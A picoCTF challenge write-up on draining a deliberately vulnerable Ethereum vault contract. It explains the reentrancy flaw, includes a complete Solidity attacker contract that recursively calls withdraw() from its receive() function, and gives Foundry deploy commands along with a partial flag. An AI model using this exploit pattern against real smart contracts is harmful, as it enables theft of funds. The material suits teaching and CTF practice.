Description
The lead developer at SecureBank Corp is back. He claims he's patched the vault and created the ultimate, unhackable Ethereum contract. Your mission: Drain the vault down to 0 and force the contract to surrender the flag. Contract: here
Download and read VulnBank.sol to understand the contract's withdraw logic.
Set up a Foundry or Hardhat environment to deploy and interact with the contract.
cat VulnBank.sol
Solution
- Step 1Identify the reentrancy vulnerabilityThe contract sends ETH to the caller before updating the balance (checks-effects-interactions pattern violated). A malicious contract can call back into withdraw() in its receive() function before the balance is zeroed, draining all funds.
- Step 2Write the attacker contractDeploy an attacker contract that deposits ETH, then calls withdraw(). In its receive() fallback, it calls withdraw() again recursively until the vault is drained.cat > Attacker.sol << 'EOF' // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IVulnBank { function deposit() external payable; function withdraw(uint256 amount) external; function getFlag() external view returns (string memory); } contract Attacker { IVulnBank public target; uint256 public attackAmount; constructor(address _target) { target = IVulnBank(_target); } function attack() external payable { attackAmount = msg.value; target.deposit{value: msg.value}(); target.withdraw(msg.value); } receive() external payable { if (address(target).balance >= attackAmount) { target.withdraw(attackAmount); } } function getFlag() external view returns (string memory) { return target.getFlag(); } } EOF
- Step 3Deploy, attack, and read the flagDeploy the attacker contract, call attack() with some ETH, and once the vault is drained, call getFlag() to retrieve the flag.# Using Foundry:forge script Attack.s.sol --rpc-url RPC_URL --private-key PRIVATE_KEY --broadcastcast call ATTACKER_ADDR 'getFlag()(string)' --rpc-url RPC_URL
Flag
picoCTF{r33ntr4ncy_dr41n3d_...}
Classic reentrancy attack: the contract sends ETH before updating state, allowing recursive withdrawal to drain the vault.